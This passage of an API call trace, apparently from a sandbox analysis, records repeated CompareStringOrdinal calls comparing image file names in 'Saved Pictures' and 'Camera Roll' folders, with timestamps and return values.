lpString2="zoYWy0tnNuqg-Zdh4.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="zoYWy0tnNuqg-Zdh4.gif", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="Z8PEjH5b.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="y_QmYlvwtNWjwI0tZ.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="y_QmYlvwtNWjwI0tZ.bmp", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H6PwCN3oyZKOwFQ.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="H6PwCN3oyZKOwFQ.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="zdKqdR.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="zdKqdR.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.258] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="y_QmYlvwtNWjwI0tZ.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.258] CompareStringOrdinal (lpString1="y_QmYlvwtNWjwI0tZ.bmp", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="H6PwCN3oyZKOwFQ.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="awTUht89JcK2K D7j9i.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="Z8PEjH5b.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="Z8PEjH5b.jpg", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="y_QmYlvwtNWjwI0tZ.bmp", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="y_QmYlvwtNWjwI0tZ.bmp", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="H7Jzn2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="c9ZaReaCiTG.png", cchCount1=-1, lpString2="hh1Bz.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="hh1Bz.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="y_QmYlvwtNWjwI0tZ.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="y_QmYlvwtNWjwI0tZ.bmp", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="YBodpCQ1OYUO B.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="g6r96fa7GyN6.gif", cchCount1=-1, lpString2="Ww lmr4coeaZVkLVzHS.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="Ww lmr4coeaZVkLVzHS.jpg", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="yWEcS.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="yWEcS.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="yova8.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="Ww lmr4coeaZVkLVzHS.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="Ww lmr4coeaZVkLVzHS.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="g6r96fa7GyN6.gif", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="g6r96fa7GyN6.gif", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="yova8.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="yova8.bmp", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="YBodpCQ1OYUO B.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Ww lmr4coeaZVkLVzHS.jpg", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Ww lmr4coeaZVkLVzHS.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="g6r96fa7GyN6.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="aHz4Hx-PBeuX.png", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.259] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="YBodpCQ1OYUO B.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.259] CompareStringOrdinal (lpString1="YBodpCQ1OYUO B.gif", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="Ww lmr4coeaZVkLVzHS.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="Ww lmr4coeaZVkLVzHS.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="svWwwq0D.png", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="svWwwq0D.png", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="A4ii4MOpBgpQwQBT.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="Ww lmr4coeaZVkLVzHS.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="Ww lmr4coeaZVkLVzHS.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="svWwwq0D.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="svWwwq0D.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="sj6 1xhDAi0ypw.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="dw0z-rObH0-zF2.png", cchCount1=-1, lpString2="Saved Pictures\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="Saved Pictures\\desktop.ini", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="W-jIjn6.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="W-jIjn6.gif", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="svWwwq0D.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="svWwwq0D.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="sj6 1xhDAi0ypw.jpg", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="Saved Pictures\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="Saved Pictures\\desktop.ini", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="dw0z-rObH0-zF2.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="dw0z-rObH0-zF2.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="svWwwq0D.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="svWwwq0D.png", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="sj6 1xhDAi0ypw.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="Saved Pictures\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.260] CompareStringOrdinal (lpString1="Saved Pictures\\desktop.ini", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.260] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="dw0z-rObH0-zF2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.263] CompareStringOrdinal (lpString1="FiPd_4qvOx8j.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.263] CompareStringOrdinal (lpString1="A4ii4MOpBgpQwQBT.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.263] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="sj6 1xhDAi0ypw.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="sj6 1xhDAi0ypw.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="Saved Pictures\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="Saved Pictures\\desktop.ini", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="FiPd_4qvOx8j.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="gTXyE1NkEEb.jpg", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="aHz4Hx-PBeuX.png", cchCount1=-1, lpString2="g6r96fa7GyN6.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="g6r96fa7GyN6.gif", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="Saved Pictures\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="Saved Pictures\\desktop.ini", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="gTXyE1NkEEb.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="hh1Bz.png", cchCount1=-1, lpString2="H7Jzn2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="hh1Bz.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="c9ZaReaCiTG.png", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="c9ZaReaCiTG.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Saved Pictures", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="m3Vfo.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="q0 y.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Cg4L5J0Hp5g.bmp", cchCount1=-1, lpString2="Pe_4G6TNHBiw7.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="Pe_4G6TNHBiw7.gif", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="QX41YSfi6.bmp", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="m3Vfo.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="Pe_4G6TNHBiw7.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.264] CompareStringOrdinal (lpString1="Pe_4G6TNHBiw7.gif", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Cg4L5J0Hp5g.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Cg4L5J0Hp5g.bmp", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="q0 y.bmp", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Pe_4G6TNHBiw7.gif", cchCount1=-1, lpString2="m3Vfo.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Pe_4G6TNHBiw7.gif", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="Cg4L5J0Hp5g.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Pe_4G6TNHBiw7.gif", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="Pe_4G6TNHBiw7.gif", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.264] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="m3Vfo.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="m3ksaTaVuXM_ADoCvA.jpg", cchCount1=-1, lpString2="KmDsFaqbjMnNn4BN.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="m3ksaTaVuXM_ADoCvA.jpg", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="m3Vfo.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="m3ksaTaVuXM_ADoCvA.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="m3ksaTaVuXM_ADoCvA.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="KmDsFaqbjMnNn4BN.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="KmDsFaqbjMnNn4BN.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll", cchCount1=-1, lpString2="job -V_cE7uVrHssoWW.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="job -V_cE7uVrHssoWW.jpg", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="m3ksaTaVuXM_ADoCvA.jpg", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="m3ksaTaVuXM_ADoCvA.jpg", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="KmDsFaqbjMnNn4BN.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="KmDsFaqbjMnNn4BN.jpg", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="job -V_cE7uVrHssoWW.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="job -V_cE7uVrHssoWW.jpg", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="KmDsFaqbjMnNn4BN.jpg", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="KmDsFaqbjMnNn4BN.jpg", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="job -V_cE7uVrHssoWW.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="job -V_cE7uVrHssoWW.jpg", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="Camera Roll", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="Camera Roll\\desktop.ini", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="job -V_cE7uVrHssoWW.jpg", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="job -V_cE7uVrHssoWW.jpg", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", 